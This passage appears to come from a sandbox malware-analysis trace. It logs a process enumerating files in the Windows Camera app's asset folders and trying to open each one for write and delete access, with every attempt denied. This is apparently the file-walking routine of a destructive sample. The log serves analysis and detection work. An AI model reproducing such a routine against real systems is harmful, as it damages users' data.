	[0090.234] wcscpy (in: _Dest=0x4778660, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI"
	[0090.234] wcscat (in: _Dest=0x4778660, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\"
	[0090.234] wcscat (in: _Dest=0x4778660, _Source="dashboard_slomo_OFF.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\dashboard_slomo_OFF.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\dashboard_slomo_OFF.png"
	[0090.234] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\dashboard_slomo_OFF.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\ensoui\\dashboard_slomo_off.png")) returned 0x20
	[0090.236] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\dashboard_slomo_OFF.png", dwFileAttributes=0x20) returned 0
	[0090.236] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\dashboard_slomo_OFF.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\ensoui\\dashboard_slomo_off.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.236] GetLastError () returned 0x5
	[0090.236] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\dashboard_slomo_OFF.png", dwFileAttributes=0x20) returned 0
	[0090.236] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778660) returned 1
	[0090.236] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ded244, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91ded244, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91ded244, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="dashboard_slomo_ON.png", cAlternateFileName="")) returned 1
	[0090.236] wcscmp (_String1="dashboard_slomo_ON.png", _String2=".") returned 1
	[0090.236] wcscmp (_String1="dashboard_slomo_ON.png", _String2="..") returned 1
	[0090.236] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4778060
	[0090.236] wcscpy (in: _Dest=0x4778060, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI"
	[0090.236] wcscat (in: _Dest=0x4778060, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\"
	[0090.236] wcscat (in: _Dest=0x4778060, _Source="dashboard_slomo_ON.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\dashboard_slomo_ON.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\dashboard_slomo_ON.png"
	[0090.236] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\dashboard_slomo_ON.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\ensoui\\dashboard_slomo_on.png")) returned 0x20
	[0090.237] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\dashboard_slomo_ON.png", dwFileAttributes=0x20) returned 0
	[0090.237] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\dashboard_slomo_ON.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\ensoui\\dashboard_slomo_on.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.237] GetLastError () returned 0x5
	[0090.237] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\dashboard_slomo_ON.png", dwFileAttributes=0x20) returned 0
	[0090.237] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778060) returned 1
	[0090.237] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ded244, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91ded244, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91ded244, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id_arrow.png", cAlternateFileName="")) returned 1
	[0090.237] wcscmp (_String1="id_arrow.png", _String2=".") returned 1
	[0090.237] wcscmp (_String1="id_arrow.png", _String2="..") returned 1
	[0090.237] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491d268
	[0090.237] wcscpy (in: _Dest=0x491d268, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI"
	[0090.237] wcscat (in: _Dest=0x491d268, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\"
	[0090.237] wcscat (in: _Dest=0x491d268, _Source="id_arrow.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\id_arrow.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\id_arrow.png"
	[0090.237] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\id_arrow.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\ensoui\\id_arrow.png")) returned 0x20
	[0090.240] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\id_arrow.png", dwFileAttributes=0x20) returned 0
	[0090.240] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\id_arrow.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\ensoui\\id_arrow.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.241] GetLastError () returned 0x5
	[0090.241] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\id_arrow.png", dwFileAttributes=0x20) returned 0
	[0090.241] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d268) returned 1
	[0090.241] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ded244, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91ded244, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91ded244, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id_arrow.png", cAlternateFileName="")) returned 0
	[0090.241] FindClose (in: hFindFile=0x477a768 | out: hFindFile=0x477a768) returned 1
	[0090.241] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502cbb0) returned 1
	[0090.241] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e11750) returned 1
	[0090.241] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717e70) returned 1
	[0090.241] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ded244, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1c1b81a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91e1349e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1
	[0090.241] wcscmp (_String1="Icons", _String2=".") returned 1
	[0090.241] wcscmp (_String1="Icons", _String2="..") returned 1
	[0090.241] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4717990
	[0090.241] wcscpy (in: _Dest=0x4717990, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.241] wcscat (in: _Dest=0x4717990, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.241] wcscat (in: _Dest=0x4717990, _Source="Icons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons"
	[0090.241] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e10fb8
	[0090.241] wcscpy (in: _Dest=0x2e10fb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons"
	[0090.241] wcscat (in: _Dest=0x2e10fb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\"
	[0090.241] wcscat (in: _Dest=0x2e10fb8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\*"
	[0090.241] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502b608
	[0090.241] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\*", lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ded244, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1c1b81a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91e1349e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aca8
	[0090.243] wcscmp (_String1=".", _String2=".") returned 0
	[0090.243] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ded244, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1c1b81a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91e1349e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.244] wcscmp (_String1="..", _String2=".") returned 1
	[0090.244] wcscmp (_String1="..", _String2="..") returned 0
	[0090.244] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ded244, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91ded244, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91ded244, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4bf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CamMDL2.ttf", cAlternateFileName="")) returned 1
	[0090.244] wcscmp (_String1="CamMDL2.ttf", _String2=".") returned 1
	[0090.244] wcscmp (_String1="CamMDL2.ttf", _String2="..") returned 1
	[0090.244] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4722fd0
	[0090.244] wcscpy (in: _Dest=0x4722fd0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons"
	[0090.244] wcscat (in: _Dest=0x4722fd0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\"
	[0090.244] wcscat (in: _Dest=0x4722fd0, _Source="CamMDL2.ttf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\CamMDL2.ttf") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\CamMDL2.ttf"
	[0090.244] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\CamMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\icons\\cammdl2.ttf")) returned 0x20
	[0090.244] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\CamMDL2.ttf", dwFileAttributes=0x20) returned 0
	[0090.244] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\CamMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\icons\\cammdl2.ttf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.244] GetLastError () returned 0x5
	[0090.244] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\CamMDL2.ttf", dwFileAttributes=0x20) returned 0
	[0090.244] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4722fd0) returned 1
	[0090.245] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ded244, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91ded244, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91ded244, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x191, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_done.png", cAlternateFileName="")) returned 1
	[0090.245] wcscmp (_String1="icon_done.png", _String2=".") returned 1
	[0090.245] wcscmp (_String1="icon_done.png", _String2="..") returned 1
	[0090.245] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491d088
	[0090.245] wcscpy (in: _Dest=0x491d088, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons"
	[0090.245] wcscat (in: _Dest=0x491d088, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\"
	[0090.245] wcscat (in: _Dest=0x491d088, _Source="icon_done.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_done.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_done.png"
	[0090.245] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_done.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\icons\\icon_done.png")) returned 0x20
	[0090.247] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_done.png", dwFileAttributes=0x20) returned 0
	[0090.247] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_done.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\icons\\icon_done.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.248] GetLastError () returned 0x5
	[0090.248] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_done.png", dwFileAttributes=0x20) returned 0
	[0090.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d088) returned 1
	[0090.248] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ded244, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91ded244, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91ded244, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xad5, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_play_nor.png", cAlternateFileName="")) returned 1
	[0090.248] wcscmp (_String1="icon_play_nor.png", _String2=".") returned 1
	[0090.248] wcscmp (_String1="icon_play_nor.png", _String2="..") returned 1
	[0090.248] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491c8b0
	[0090.248] wcscpy (in: _Dest=0x491c8b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons"
	[0090.248] wcscat (in: _Dest=0x491c8b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\"
	[0090.248] wcscat (in: _Dest=0x491c8b0, _Source="icon_play_nor.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_play_nor.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_play_nor.png"
	[0090.248] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_play_nor.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\icons\\icon_play_nor.png")) returned 0x20
	[0090.257] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_play_nor.png", dwFileAttributes=0x20) returned 0
	[0090.257] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_play_nor.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\icons\\icon_play_nor.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.257] GetLastError () returned 0x5
	[0090.257] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_play_nor.png", dwFileAttributes=0x20) returned 0
	[0090.257] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c8b0) returned 1
	[0090.257] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ded244, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91ded244, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91ded244, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_play_prs.png", cAlternateFileName="")) returned 1
	[0090.257] wcscmp (_String1="icon_play_prs.png", _String2=".") returned 1
	[0090.257] wcscmp (_String1="icon_play_prs.png", _String2="..") returned 1
	[0090.257] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491b550
	[0090.257] wcscpy (in: _Dest=0x491b550, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons"
	[0090.257] wcscat (in: _Dest=0x491b550, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\"
	[0090.257] wcscat (in: _Dest=0x491b550, _Source="icon_play_prs.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_play_prs.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_play_prs.png"
